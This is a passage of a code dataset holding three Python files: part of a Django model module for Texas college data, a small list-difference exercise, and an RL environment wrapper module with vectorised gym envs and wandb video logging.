null=True, blank=True)\n phone = models.CharField(max_length=15, null=True, blank=True)\n url = models.URLField(null=True, blank=True)\n location = models.PointField(geography=True, null=True, blank=True)\n\n class Meta:\n abstract = True\n app_label = APP_LABEL\n\n def _guess_location(self, address_array):\n if not CAN_GEOCODE:\n return\n g = geocoders.Google()\n address = \", \".join(address_array)\n _, latlng = g.geocode(address)\n self.location = geos.fromstr(\"POINT({1} {0})\".format(*latlng))\n self.save()\n return self.location\n\n def guess_location(self):\n logger = logging.getLogger('tx_highered.models.geolocate')\n if not CAN_GEOCODE:\n logger.error(u'Attempted to geocode without geopy installed')\n return\n\n # TODO better logging messages\n try:\n guess1 = [self.address, self.city, self.zip_code]\n self._guess_location(guess1)\n logger.debug(self.location)\n except (ValueError, URLError, geocoders.google.GQueryError) as e:\n logger.error(\"%s %s\" % (e.message, \", \".join(guess1)))\n # try again\n try:\n guess2 = [self.name, self.zip_code]\n self._guess_location(guess2)\n logger.debug(self.location)\n except (ValueError, URLError, geocoders.google.GQueryError) as e:\n logger.error(\"%s %s\" % (e.message, \", \".join(guess2)))\n except geocoders.google.GTooManyQueriesError as e:\n logger.error(\"%s %s\" % (e.message, \", \".join(guess1)))\n\n\nclass System(ContactFieldsMixin):\n name = models.CharField(max_length=60)\n slug = models.SlugField(max_length=60, unique=True)\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse('tx_highered:system_detail', kwargs={'slug': self.slug})\n\n\nclass WikipediaFields(models.Model):\n # wikipedia\n wikipedia_title = models.CharField(max_length=100, null=True, blank=True)\n wikipedia_abstract = models.TextField(null=True, blank=True)\n wikipedia_seal = models.ImageField(upload_to=\"%s/seals\" % APP_LABEL,\n null=True, blank=True)\n wikipedia_logo = models.ImageField(upload_to=\"%s/logos\" % APP_LABEL,\n null=True, blank=True)\n wikipedia_scraped = models.DateTimeField(null=True, blank=True)\n\n @property\n def wikipedia_url(self):\n if not self.wikipedia_title:\n return None\n return \"http://en.wikipedia.org/w/index.php?title=%s\" % (\n self.wikipedia_title.replace(\" \", \"_\"))\n\n class Meta:\n abstract = True\n\n\nclass InstitutionManager(models.Manager):\n def published(self):\n \"\"\" only return institutions ready to be shown \"\"\"\n qs = self.get_queryset()\n return qs.filter(Q(ipeds_id__isnull=False) | Q(fice_id__isnull=False)).\\\n exclude(Q(institution_type='med') | Q(institution_type='pri_chi'))\n\n\nclass Institution(ContactFieldsMixin, WikipediaFields):\n name = models.CharField(max_length=60)\n slug = models.SlugField(max_length=60, unique=True)\n is_private = models.BooleanField(default=False)\n institution_type = models.CharField(max_length=30,\n choices=INSTITUTION_CHOICES, null=True, blank=True)\n # administrator officer\n system = models.ForeignKey(System, null=True, blank=True,\n on_delete=models.CASCADE)\n description = models.TextField(null=True, blank=True)\n\n # WISHLIST change these institution identifiers to be charfields instead of\n # ints so we can do zero-padding because that's how they're reported,\n # except then it'll be harder to look up institutions because you'll have\n # to be careful about '0's.\n\n # Integrated Postsecondary Education Data System ID\n ipeds_id = models.IntegerField(null=True, blank=True)\n # Federal Interagency Committee on Education ID, used on the State Level\n fice_id = models.IntegerField(null=True, blank=True)\n # Office of Postsecondary Education ID\n # only Title IV schools have this. This is a 6 digit zero padded number with\n # a two digit suffix for each location/branch\n ope_id = models.IntegerField(null=True, blank=True)\n\n objects = InstitutionManager()\n\n def __unicode__(self):\n if self.system:\n return u\"%s - %s\" % (self.system, self.name)\n else:\n return self.name\n\n def get_absolute_url(self):\n return reverse(\n 'tx_highered:institution_detail', kwargs={'slug': self.slug})\n\n #################### THECB / IPEDS ROUTERS #################\n def get_admissions(self):\n \"\"\"\n Get admissions data. First, try IPEDS, then, try THECB.\n \"\"\"\n # if not self.is_private and self.institution_type == 'uni':\n # return self.publicadmissions.all()\n return self.admissions.all()\n\n def get_graduation_rates(self):\n \"\"\"\n Public institutions use THECB graduation rates; others use IPEDS.\n \"\"\"\n if not self.is_private:\n return self.publicgraduationrates.all()\n else:\n return self.graduationrates.all()\n\n @property\n def type(self):\n \"\"\" Get human readable version of `institution_type` \"\"\"\n return dict(INSTITUTION_CHOICES).get(self.institution_type)\n\n @property\n def sentences(self):\n \"\"\" Get a generated sentence about the `Institution` \"\"\"\n # TODO use cache backend (was caching in memory)\n return SummarySentences(self)\n\n # DELETEME replace with fuzzy matcher or can just delete\n @staticmethod\n def get_unique_name(name):\n ignored = ('st', 'saint', 'college', 'university', 'county', 'district', 'the', 'of', 'at')\n filtered_bits = [x for x in slugify(name).split('-') if x not in ignored]\n return ''.join(filtered_bits)\n\n # DELETEME replace with fuzzy matcher or can just delete\n @property\n def unique_name(self):\n return Institution.get_unique_name(self.name)\n\n @property\n def logo(self):\n \"\"\" return the `Image` that represents the logo or `None` \"\"\"\n return self.wikipedia_logo\n\n @property\n def seal(self):\n \"\"\" return the `Image` that represents the seal or `None` \"\"\"\n return self.wikipedia_seal\n\n @cached_property\n def enrollment_fte(self):\n \"\"\"\n Quick stat to find out how many students are enrolled.\n\n Designed to answer the question, \"so how many students are at ____?\"\n Uses full time equivalent so community colleges with lots of part-time\n enrollment aren't inflated.\n \"\"\"\n enrollment = self.enrollment.latest('year')\n return enrollment.fulltime_equivalent if enrollment else None\n\n @property\n def latest_tuition(self):\n return self.pricetrends.latest('year')\n\n @property\n def latest_enrollment(self):\n try:\n if self.publicenrollment.exists():\n return self.publicenrollment.latest('year')\n else:\n return self.enrollment.latest('year')\n except ObjectDoesNotExist:\n return None\n\n @property\n def sentence_name(self):\n if self.name.startswith('University'):\n return u'The %s' % self.name\n else:\n return self.name\n\n @property\n def sentence_institution_type(self):\n institution_type = self.get_institution_type_display().lower()\n if self.is_private:\n return u'private %s' % institution_type\n else:\n return u'public %s' % institution_type\n\n @property\n def geojson(self):\n from tx_highered.api import JSON\n if self.location:\n return JSON(self.location.geojson)\n else:\n return None\n\n @property\n def lege_districts(self):\n location = self.location\n if not location:\n return None\n\n return (District.objects.filter(geometry__contains=location.wkt)\n .exclude(type=SBOE))\n\n @property\n def districts_sentence(self):\n districts = self.lege_districts\n if districts:\n return DistrictsSentence(self, *districts)\n else:\n return None\n\n ############################## BUCKETS ##############################\n @cached_property\n def tuition_buckets(self):\n fields = (\"in_state\", \"out_of_state\", \"books_and_supplies\", \"room_and_board_on_campus\")\n return self.get_buckets('pricetrends', fields=fields)\n\n @cached_property\n def sat_score_buckets(self):\n b = {\n 'years': [],\n 'verbal_range': {},\n 'math_range': {},\n 'writing_range': {},\n }\n for a in self.testscores.all():\n b['years'].append(a.year)\n b['verbal_range'][a.year] = (a.sat_verbal_range\n if a.sat_verbal_25th_percentile else 'N/A')\n b['math_range'][a.year] = (a.sat_math_range\n if a.sat_math_25th_percentile else 'N/A')\n b['writing_range'][a.year] = (a.sat_writing_range\n if a.sat_writing_25th_percentile else 'N/A')\n return b\n\n @cached_property\n def admission_buckets(self):\n b = {\n 'years': [],\n 'applicants': {},\n 'admitted': {},\n 'enrolled': {},\n }\n for a in self.get_admissions().all():\n if not a.number_admitted:\n continue\n b['years'].append(a.year)\n b['applicants'][a.year] = a.number_of_applicants\n b['admitted'][a.year] = (a.number_admitted,\n a.percent_of_applicants_admitted)\n b['enrolled'][a.year] = (a.number_admitted_who_enrolled,\n a.percent_of_admitted_who_enrolled)\n return b\n\n @cached_property\n def admission_top10_buckets(self):\n return self.get_buckets('admissions', fields=['percent_top10rule'],\n filter_on_field='percent_top10rule')\n\n def get_buckets(self, relation_name, pivot_on_field=\"year\",\n filter_on_field=None, fields=None):\n \"\"\" pivot a related report model about the year field \"\"\"\n b = defaultdict(dict)\n pivot_axis = []\n relation = getattr(self, relation_name)\n b['data_source'] = relation.model.data_source\n if fields is None:\n # XXX requires instacharts\n fields = [x[0] for x in relation.model.get_chart_series() if x[0] != pivot_on_field]\n for report_obj in relation.all():\n if filter_on_field is not None:\n # make sure we want this data\n filter_value = getattr(report_obj, filter_on_field)\n if filter_value is None or filter_value is '':\n # null or blank\n continue\n pivot = getattr(report_obj, pivot_on_field)\n pivot_axis.append(pivot)\n for field in fields:\n b[field][pivot] = getattr(report_obj, field)\n b[pivot_on_field + \"s\"] = pivot_axis # poor man's `pluralize()`\n return b\n\n @cached_property\n def enrollment_buckets(self):\n \"\"\"Get enrollment data from IPEDS.\"\"\"\n b = self.get_buckets(\"enrollment\",\n fields=(\"fulltime_equivalent\", \"fulltime\", \"parttime\"))\n b['data_source'] = \"IPEDS\"\n return b\n\n @cached_property\n def demographics_buckets(self):\n \"\"\"\n Get the most recent demographics data.\n\n Sometimes ipeds has better data, sometimes it's thecb. There isn't a\n magic way to figure out which is the latest without manually checking.\n\n XXX assumes school has white people.\n \"\"\"\n try:\n latest_ipeds = self.enrollment.filter(\n total_percent_white__isnull=False).latest('year').year\n except ObjectDoesNotExist:\n latest_ipeds = 0\n try:\n latest_thecb = self.publicenrollment.filter(\n white_percent__isnull=False).latest('year').year\n except ObjectDoesNotExist:\n latest_thecb = 0\n if latest_ipeds > latest_thecb:\n return self.get_buckets(\"enrollment\", filter_on_field=\"total_percent_white\")\n return self.get_buckets(\"publicenrollment\")\n\n @cached_property\n def graduationrates_buckets(self):\n if self.is_private:\n return self.get_buckets(\"graduationrates\")\n else:\n return self.get_buckets(\"publicgraduationrates\")\n","sub_path":"tx_highered/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":15754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"621263202","text":"'''\nTask 3.1 Array difference\n\nImplement a difference function, which subtracts one list from another and returns the result.\n\nIt should remove all values (all of its occurrences) from list a, which are present in list b.\n\nAdd docstring.\n\nExamples:\n\ncall: array_diff([1, 2], [1])\nreturn: [2]\n\ncall: array_diff([1, 2, 2, 2, 3], [2])\nreturn: [1,3]\n\nauthor: Oleksandr Rusalovskyi\n2019-11-29\n'''\n\n\ndef custom_substract(initial_set,substructed_set):\n \"\"\"\n Function custom_substract substracts elements of second list from first list\n :param initial_set: List to be subtracted\n :param substructed_set: List of subtracting elements\n :type initial_set: list\n :type substructed_set: list\n :return: substructed list\n :rtype: list\n \"\"\"\n result_set = []\n \n for ini in initial_set:\n\n insert_into_result = True\n\n for sub in substructed_set:\n insert_into_result = insert_into_result and ini != sub\n\n if insert_into_result:\n result_set.append(ini)\n\n return result_set\n\n\nprint(custom_substract([1, 2, 2, 2, 3], [2]))\n","sub_path":"rusalovskyi_oleksandr/03/Task1.py","file_name":"Task1.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"157976895","text":"import ctypes\nfrom collections import deque\nfrom datetime import datetime\nimport importlib\nimport os\n\nimport gym\nimport numpy as np\nimport torch\nimport wandb\n\nfrom baselines.common.vec_env.util import obs_space_info, dict_to_obs, obs_to_dict\nfrom baselines.common.vec_env.vec_env import clear_mpi_env_vars, VecEnv\nfrom gym.spaces.box import Box\n\nfrom baselines import bench, logger\nfrom baselines.common.atari_wrappers import make_atari, wrap_deepmind, ScaledFloatFrame\nfrom baselines.common.vec_env import VecEnvWrapper, CloudpickleWrapper\nfrom baselines.common.vec_env.dummy_vec_env import DummyVecEnv\nfrom baselines.common.vec_env.vec_normalize import VecNormalize as VecNormalize_\nimport multiprocessing as mp\n\ntry:\n import dm_control2gym\nexcept ImportError:\n pass\n\ntry:\n import roboschool\nexcept ImportError:\n pass\n\ntry:\n import pybullet_envs\nexcept ImportError:\n pass\n\n\ndef wrap_gibson(env):\n\n # return ScaledFloatFrame(env) # nope nope nope, this is done by the cnn\n return env\n\n\ndef make_env(\n env_id,\n seed,\n rank,\n log_dir,\n allow_early_resets,\n custom_gym,\n navi,\n coeff_reward_run=1,\n coeff_reward_stable=0,\n coeff_reward_ctrl=0,\n enjoy=False,\n extra_wrappers=(),\n):\n def _thunk():\n print(\"CUSTOM GYM:\", custom_gym)\n if custom_gym is not None and custom_gym != \"\" and \"gibson\" not in custom_gym:\n module = importlib.import_module(custom_gym, package=None)\n print(\"imported env '{}'\".format((custom_gym)))\n\n # if \"gibson\" in custom_gym:\n # import gibson_transfer\n #\n # if \"TwoPlayer\" in env_id:\n # from gibson_transfer.self_play_policies import POLICY_DIR\n #\n # if not enjoy:\n # now = datetime.now() # current date and time\n #\n # subfolder = f\"{env_id}-s{seed}-t{now.strftime('%y%m%d_%H%M%S')}\"\n # path = os.path.join(POLICY_DIR, subfolder)\n # os.mkdir(path)\n # print(\"PPO: using Gibson env with output path:\", path)\n # else:\n # print(\n # \"PPO: using Gibson in playback mode, using main \" \"directory for opponent policies: \",\n # POLICY_DIR,\n # )\n\n if env_id.startswith(\"dm\"):\n _, domain, task = env_id.split(\".\")\n env = dm_control2gym.make(domain_name=domain, task_name=task)\n else:\n env = gym.make(env_id)\n\n # if \"gibson\" in custom_gym and not enjoy and \"TwoPlayer\" in env_id:\n # env.unwrapped.subfolder = subfolder\n\n #\n if env_id.startswith(\"Pupper\"):\n env = PupperRewardMonitorWrapper(\n env,\n coeff_reward_run=coeff_reward_run,\n coeff_reward_stable=coeff_reward_stable,\n coeff_reward_ctrl=coeff_reward_ctrl,\n )\n env = VideoWrapper(env)\n\n if env_id.startswith(\"2Pupper\") and \"-debug-\" not in env_id:\n env = Pupper2RewardMonitorWrapper(env)\n env = VideoWrapper(env)\n\n if (\n env_id.startswith(\"Pmtg\")\n or env_id.startswith(\"Segar\")\n or env_id.startswith(\"Splearn-PP-ObsImg\")\n or env_id.startswith(\"Ril\")\n ):\n env = VideoWrapper(env)\n\n is_atari = hasattr(gym.envs, \"atari\") and isinstance(env.unwrapped, gym.envs.atari.atari_env.AtariEnv)\n if is_atari:\n env = make_atari(env_id)\n\n for e in extra_wrappers:\n env = e(env)\n\n env.seed(seed + rank)\n\n obs_shape = env.observation_space.shape\n\n if str(env.__class__.__name__).find(\"TimeLimit\") >= 0:\n env = TimeLimitMask(env)\n\n if log_dir is not None:\n env = bench.Monitor(\n env,\n os.path.join(log_dir, str(rank)),\n allow_early_resets=allow_early_resets,\n )\n\n print(env, type(env), type(env.unwrapped))\n\n if not navi:\n print(f\"=== Env: {env_id}\")\n if is_atari:\n if len(env.observation_space.shape) == 3:\n env = wrap_deepmind(env)\n elif \"Gibson\" in env_id:\n env = wrap_gibson(env)\n elif \"Splearn\" in env_id:\n pass\n elif \"GrowSpace\" in env_id:\n pass\n elif \"CarRacing\" in env_id:\n pass\n elif \"Segar\" in env_id:\n pass\n elif len(env.observation_space.shape) == 3:\n raise NotImplementedError(\n \"CNN models work only for atari,\\n\"\n \"please use a custom wrapper for a custom pixel input env.\\n\"\n \"See wrap_deepmind for an example.\"\n )\n\n # If the input has shape (W,H,3), wrap for PyTorch convolutions\n obs_shape = env.observation_space.shape\n if len(obs_shape) == 3 and obs_shape[2] in [1, 2, 3]:\n env = TransposeImage(env, op=[2, 0, 1])\n\n return env\n\n return _thunk\n\n\ndef make_vec_envs(\n env_name,\n seed,\n num_processes,\n gamma,\n log_dir,\n device,\n allow_early_resets,\n custom_gym,\n navi=False,\n num_frame_stack=None,\n coeff_reward_run=1,\n coeff_reward_stable=0,\n coeff_reward_ctrl=0,\n enjoy=False,\n extra_wrappers=(),\n):\n print(f\"=== Making {num_processes} parallel envs with {num_frame_stack} stacked frames\")\n envs = [\n make_env(\n env_name,\n seed,\n i,\n log_dir,\n allow_early_resets,\n custom_gym,\n navi=navi,\n coeff_reward_run=coeff_reward_run,\n coeff_reward_stable=coeff_reward_stable,\n coeff_reward_ctrl=coeff_reward_ctrl,\n enjoy=enjoy,\n extra_wrappers=extra_wrappers,\n )\n for i in range(num_processes)\n ]\n\n if len(envs) > 1:\n print(\"ENV: ShmemVecEnv\")\n envs = ShmemVecEnv(envs, context=\"fork\")\n else:\n print(\"ENV: DummyVecEnv\")\n envs = DummyVecEnvPPO(envs)\n\n if len(envs.observation_space.shape) == 1:\n if gamma is None:\n print(\"ENV: VecNormalize, ret = False\")\n envs = VecNormalize(envs, ret=False)\n else:\n print(f\"ENV: VecNormalize, gamma = {gamma}\")\n envs = VecNormalize(envs, gamma=gamma)\n\n print(f\"ENV: VecPyTorch\")\n envs = VecPyTorch(envs, device)\n\n if num_frame_stack is not None:\n print(f\"ENV: VecPyTorchFrameStack, stack: {num_frame_stack}\")\n envs = VecPyTorchFrameStack(envs, num_frame_stack, device)\n # elif not navi and not \"Gibson\" in env_name and len(envs.observation_space.shape) == 3:\n elif not navi and len(envs.observation_space.shape) == 3:\n print(\"ENV: VecPyTorchFrameStack, stack: 4\")\n envs = VecPyTorchFrameStack(envs, 4, device)\n\n return envs\n\n\n# Checks whether done was caused my timit limits or not\nclass TimeLimitMask(gym.Wrapper):\n def step(self, action):\n obs, rew, done, info = self.env.step(action)\n if done and self.env._max_episode_steps == self.env._elapsed_steps:\n info[\"bad_transition\"] = True\n\n return obs, rew, done, info\n\n def reset(self, **kwargs):\n return self.env.reset(**kwargs)\n\n\n# Can be used to test recurrent policies for Reacher-v2\nclass MaskGoal(gym.ObservationWrapper):\n def observation(self, observation):\n if self.env._elapsed_steps > 0:\n observation[-2:] = 0\n return observation\n\n\nclass TransposeObs(gym.ObservationWrapper):\n def __init__(self, env=None):\n \"\"\"\n Transpose observation space (base class)\n \"\"\"\n super(TransposeObs, self).__init__(env)\n\n\nclass TransposeImage(TransposeObs):\n def __init__(self, env=None, op=[2, 0, 1]):\n \"\"\"\n Transpose observation space for images\n \"\"\"\n super(TransposeImage, self).__init__(env)\n assert len(op) == 3, f\"Error: Operation, {str(op)}, must be dim3\"\n self.op = op\n obs_shape = self.observation_space.shape\n self.observation_space = Box(\n self.observation_space.low[0, 0, 0],\n self.observation_space.high[0, 0, 0],\n [obs_shape[self.op[0]], obs_shape[self.op[1]], obs_shape[self.op[2]]],\n dtype=self.observation_space.dtype,\n )\n\n def observation(self, ob):\n return ob.transpose(self.op[0], self.op[1], self.op[2])\n\n\nclass VecPyTorch(VecEnvWrapper):\n def __init__(self, venv, device):\n \"\"\"Return only every `skip`-th frame\"\"\"\n super(VecPyTorch, self).__init__(venv)\n self.device = device\n # TODO: Fix data types\n\n def reset(self):\n obs = self.venv.reset()\n obs = torch.from_numpy(obs).float().to(self.device)\n return obs\n\n def step_async(self, actions):\n if isinstance(actions, torch.LongTensor):\n # Squeeze the dimension for discrete actions\n actions = actions.squeeze(1)\n actions = actions.cpu().numpy()\n self.venv.step_async(actions)\n\n def step_wait(self):\n obs, reward, done, info = self.venv.step_wait()\n obs = torch.from_numpy(obs).float().to(self.device)\n reward = torch.from_numpy(reward).unsqueeze(dim=1).float()\n\n return obs, reward, done, info\n\n\nclass VecNormalize(VecNormalize_):\n def __init__(self, *args, **kwargs):\n super(VecNormalize, self).__init__(*args, **kwargs)\n self.training = True\n\n def _obfilt(self, obs, update=True):\n if self.ob_rms:\n if self.training and update:\n self.ob_rms.update(obs)\n obs = np.clip(\n (obs - self.ob_rms.mean) / np.sqrt(self.ob_rms.var + self.epsilon),\n -self.clipob,\n self.clipob,\n )\n return obs\n else:\n return obs\n\n def train(self):\n self.training = True\n\n def eval(self):\n self.training = False\n\n\n# Derived from\n# https://github.com/openai/baselines/blob/master/baselines/common/vec_env/vec_frame_stack.py\nclass VecPyTorchFrameStack(VecEnvWrapper):\n def __init__(self, venv, nstack, device=None):\n self.venv = venv\n self.nstack = nstack\n\n wos = venv.observation_space # wrapped ob space\n self.shape_dim0 = wos.shape[0]\n\n low = np.repeat(wos.low, self.nstack, axis=0)\n high = np.repeat(wos.high, self.nstack, axis=0)\n\n if device is None:\n device = torch.device(\"cpu\")\n self.stacked_obs = torch.zeros((venv.num_envs,) + low.shape).to(device)\n\n observation_space = gym.spaces.Box(low=low, high=high, dtype=venv.observation_space.dtype)\n VecEnvWrapper.__init__(self, venv, observation_space=observation_space)\n\n def step_wait(self):\n obs, rews, news, infos = self.venv.step_wait()\n self.stacked_obs[:, : -self.shape_dim0] = torch.clone(self.stacked_obs[:, self.shape_dim0 :])\n for (i, new) in enumerate(news):\n if new:\n self.stacked_obs[i] = 0\n self.stacked_obs[:, -self.shape_dim0 :] = obs\n return self.stacked_obs, rews, news, infos\n\n def reset(self):\n obs = self.venv.reset()\n if torch.backends.cudnn.deterministic:\n self.stacked_obs = torch.zeros(self.stacked_obs.shape)\n else:\n self.stacked_obs.zero_()\n self.stacked_obs[:, -self.shape_dim0 :] = obs\n return self.stacked_obs\n\n def close(self):\n self.venv.close()\n\n\nclass DummyVecEnvPPO(DummyVecEnv):\n def step_wait(self):\n for e in range(self.num_envs):\n action = self.actions[e]\n # if isinstance(self.envs[e].action_space, spaces.Discrete):\n # action = int(action)\n\n obs, self.buf_rews[e], self.buf_dones[e], self.buf_infos[e] = self.envs[e].step(action)\n\n buf_infos = [d.copy() for d in self.buf_infos]\n\n if self.buf_dones[e]:\n obs = self.envs[e].reset()\n self._save_obs(e, obs)\n\n return (\n self._obs_from_buf(),\n np.copy(self.buf_rews),\n np.copy(self.buf_dones),\n buf_infos,\n )\n\n\nclass VideoWrapper(gym.Wrapper):\n \"\"\"Gathers up the frames from an episode and allows to upload them to Weights & Biases\n Thanks to @cyrilibrahim for this snippet\n\n \"\"\"\n\n def __init__(self, env, update_freq=25):\n super(VideoWrapper, self).__init__(env)\n self.episode_images = []\n # we need to store the last episode's frames because by the time we\n # wanna upload them, reset() has juuust been called, so the self.episode_rewards buffer would be empty\n self.last_frames = None\n\n # we also only render every 20th episode to save framerate\n self.episode_no = 0\n self.render_every_n_episodes = update_freq # can be modified\n\n def reset(self, **kwargs):\n self.episode_no += 1\n if self.episode_no == self.render_every_n_episodes:\n self.episode_no = 0\n self.last_frames = self.episode_images[:]\n self.episode_images.clear()\n\n state = self.env.reset()\n\n return state\n\n def step(self, action):\n state, reward, done, info = self.env.step(action)\n\n if self.episode_no + 1 == self.render_every_n_episodes:\n frame = np.copy(self.env.render(\"rgb_array\"))\n self.episode_images.append(frame)\n\n return state, reward, done, info\n\n def send_wandb_video(self):\n if self.last_frames is None or len(self.last_frames) == 0:\n print(\"Not enough images for GIF. continuing...\")\n return\n lf = np.array(self.last_frames)\n print(lf.shape)\n frames = np.swapaxes(lf, 1, 3)\n frames = np.swapaxes(frames, 2, 3)\n wandb.log({\"video\": wandb.Video(frames, fps=10, format=\"gif\")})\n print(\"=== Logged GIF\")\n\n def get_wandb_video(self):\n if self.last_frames is None or len(self.last_frames) == 0:\n print(\"Not enough images for GIF. continuing...\")\n return None\n lf = np.array(self.last_frames)\n print(lf.shape)\n frames = np.swapaxes(lf, 1, 3)\n frames = np.swapaxes(frames, 2, 3)\n return frames\n\n\nclass PupperRewardMonitorWrapper(gym.Wrapper):\n def __init__(self, env, coeff_reward_run, coeff_reward_stable, coeff_reward_ctrl):\n super().__init__(env)\n self.rewards_run = []\n self.rewards_stable = []\n self.rewards_ctrl = []\n self.coeff_reward_run = coeff_reward_run\n self.coeff_reward_stable = coeff_reward_stable\n self.coeff_reward_ctrl = coeff_reward_ctrl\n self.episode = 0\n self.upload_every_n_episodes = 20\n self.rewards_run_store = deque(maxlen=self.upload_every_n_episodes)\n self.rewards_stable_store = deque(maxlen=self.upload_every_n_episodes)\n self.rewards_ctrl_store = deque(maxlen=self.upload_every_n_episodes)\n\n def step(self, action):\n obs, rew, done, misc = self.env.step(action)\n self.rewards_run.append(misc[\"reward_run\"])\n self.rewards_stable.append(misc[\"reward_stable\"])\n self.rewards_ctrl.append(misc[\"reward_ctrl\"])\n modulated_reward = (\n self.coeff_reward_run * misc[\"reward_run\"]\n + self.coeff_reward_stable * misc[\"reward_stable\"]\n + self.coeff_reward_ctrl * misc[\"reward_ctrl\"]\n )\n\n return obs, modulated_reward, done, misc\n\n def reset(self, **kwargs):\n if len(self.rewards_run) > 0:\n self.episode += 1\n if self.episode >= self.upload_every_n_episodes:\n self.episode = 0\n wandb.log(\n {\n \"reward forward\": np.mean(self.rewards_run_store),\n \"reward small action\": np.mean(self.rewards_ctrl_store),\n \"reward stability\": np.mean(self.rewards_stable_store),\n }\n )\n else:\n self.rewards_stable_store.append(sum(self.rewards_stable))\n self.rewards_run_store.append(sum(self.rewards_run))\n self.rewards_ctrl_store.append(sum(self.rewards_ctrl))\n self.rewards_run.clear()\n self.rewards_ctrl.clear()\n self.rewards_stable.clear()\n return super().reset(**kwargs)\n\n\nclass Pupper2RewardMonitorWrapper(gym.Wrapper):\n def __init__(self, env):\n super().__init__(env)\n self.rewards = {}\n self.episode = 0\n self.upload_every_n_episodes = 20\n self.rewards_store = deque(maxlen=self.upload_every_n_episodes)\n\n def _extract_rewards(self, misc):\n return {k: v for k, v in misc.items() if \"reward_\" in k}\n\n def step(self, action):\n obs, rew, done, misc = self.env.step(action)\n\n rew_factors = self._extract_rewards(misc)\n if len(self.rewards.keys()) == 0:\n self.rewards = {k: [] for k in rew_factors.keys()}\n\n for k, v in rew_factors.items():\n self.rewards[k].append(v)\n\n return obs, rew, done, misc\n\n def reset(self, **kwargs):\n if len(self.rewards.keys()) > 0:\n self.episode += 1\n\n if self.episode >= self.upload_every_n_episodes:\n reward_keys = self.rewards.keys()\n\n buffer = {k: [] for k in reward_keys}\n for episode_rewards in self.rewards_store:\n for k in reward_keys:\n buffer[k].append(episode_rewards[k])\n\n out = {k: np.mean(v) for k, v in buffer.items()}\n\n wandb.log(out)\n self.rewards_store.clear()\n self.episode = 0\n else:\n self.rewards_store.append({k: sum(v) for k, v in self.rewards.items()})\n\n self.rewards = {}\n return super().reset(**kwargs)\n\n\n_NP_TO_CT = {\n np.float32: ctypes.c_float,\n np.int32: ctypes.c_int32,\n np.int8: ctypes.c_int8,\n np.uint8: ctypes.c_char,\n np.bool: ctypes.c_bool,\n}\n\n\nclass ShmemVecEnv(VecEnv):\n \"\"\"\n Optimized version of SubprocVecEnv that uses shared variables to communicate observations.\n \"\"\"\n\n def __init__(self, env_fns, spaces=None, context=\"spawn\"):\n \"\"\"\n If you don't specify observation_space, we'll have to create a dummy\n environment to get it.\n \"\"\"\n ctx = mp.get_context(context)\n if spaces:\n observation_space, action_space = spaces\n else:\n logger.log(\"Creating dummy env object to get spaces\")\n with logger.scoped_configure(format_strs=[]):\n dummy = env_fns[0]()\n observation_space, action_space = dummy.observation_space, dummy.action_space\n dummy.close()\n del dummy\n VecEnv.__init__(self, len(env_fns), observation_space, action_space)\n self.obs_keys, self.obs_shapes, self.obs_dtypes = obs_space_info(observation_space)\n self.obs_bufs = [\n {k: ctx.Array(_NP_TO_CT[self.obs_dtypes[k].type], int(np.prod(self.obs_shapes[k]))) for k in self.obs_keys}\n for _ in env_fns\n ]\n self.parent_pipes = []\n self.procs = []\n with clear_mpi_env_vars():\n for env_fn, obs_buf in zip(env_fns, self.obs_bufs):\n wrapped_fn = CloudpickleWrapper(env_fn)\n parent_pipe, child_pipe = ctx.Pipe()\n proc = ctx.Process(\n target=_subproc_worker,\n args=(\n child_pipe,\n parent_pipe,\n wrapped_fn,\n obs_buf,\n self.obs_shapes,\n self.obs_dtypes,\n self.obs_keys,\n ),\n )\n proc.daemon = True\n self.procs.append(proc)\n self.parent_pipes.append(parent_pipe)\n proc.start()\n child_pipe.close()\n self.waiting_step = False\n self.viewer = None\n\n def reset(self):\n if self.waiting_step:\n logger.warn(\"Called reset() while waiting for the step to complete\")\n self.step_wait()\n for pipe in self.parent_pipes:\n pipe.send((\"reset\", None))\n return self._decode_obses([pipe.recv() for pipe in self.parent_pipes])\n\n def step_async(self, actions):\n assert len(actions) == len(self.parent_pipes)\n for pipe, act in zip(self.parent_pipes, actions):\n pipe.send((\"step\", act))\n self.waiting_step = True\n\n def step_wait(self):\n outs = [pipe.recv() for pipe in self.parent_pipes]\n self.waiting_step = False\n obs, rews, dones, infos = zip(*outs)\n return self._decode_obses(obs), np.array(rews), np.array(dones), infos\n\n def close_extras(self):\n if self.waiting_step:\n self.step_wait()\n for pipe in self.parent_pipes:\n pipe.send((\"close\", None))\n for pipe in self.parent_pipes:\n pipe.recv()\n pipe.close()\n for proc in self.procs:\n proc.join()\n\n def get_images(self, mode=\"human\"):\n for pipe in self.parent_pipes:\n pipe.send((\"render\", None))\n return [pipe.recv() for pipe in self.parent_pipes]\n\n def send_wandb_vid(self):\n self.parent_pipes[0].send((\"send_wandb_video\", None))\n frames = self.parent_pipes[0].recv()\n if frames is not None:\n print(\"sending wandb vid in main thread\")\n wandb.log({\"video\": wandb.Video(frames, fps=10, format=\"gif\")})\n\n def _decode_obses(self, obs):\n result = {}\n for k in self.obs_keys:\n\n bufs = [b[k] for b in self.obs_bufs]\n o = [np.frombuffer(b.get_obj(), dtype=self.obs_dtypes[k]).reshape(self.obs_shapes[k]) for b in bufs]\n result[k] = np.array(o)\n return dict_to_obs(result)\n\n\ndef _subproc_worker(pipe, parent_pipe, env_fn_wrapper, obs_bufs, obs_shapes, obs_dtypes, keys):\n \"\"\"\n Control a single environment instance using IPC and\n shared memory.\n \"\"\"\n\n def _write_obs(maybe_dict_obs):\n flatdict = obs_to_dict(maybe_dict_obs)\n for k in keys:\n dst = obs_bufs[k].get_obj()\n dst_np = np.frombuffer(dst, dtype=obs_dtypes[k]).reshape(obs_shapes[k]) # pylint: disable=W0212\n np.copyto(dst_np, flatdict[k])\n\n env = env_fn_wrapper.x()\n parent_pipe.close()\n try:\n while True:\n cmd, data = pipe.recv()\n if cmd == \"reset\":\n pipe.send(_write_obs(env.reset()))\n elif cmd == \"step\":\n obs, reward, done, info = env.step(data)\n if done:\n obs = env.reset()\n pipe.send((_write_obs(obs), reward, done, info))\n elif cmd == \"render\":\n pipe.send(env.render(mode=\"rgb_array\"))\n elif cmd == \"close\":\n pipe.send(None)\n break\n elif cmd == \"send_wandb_video\":\n 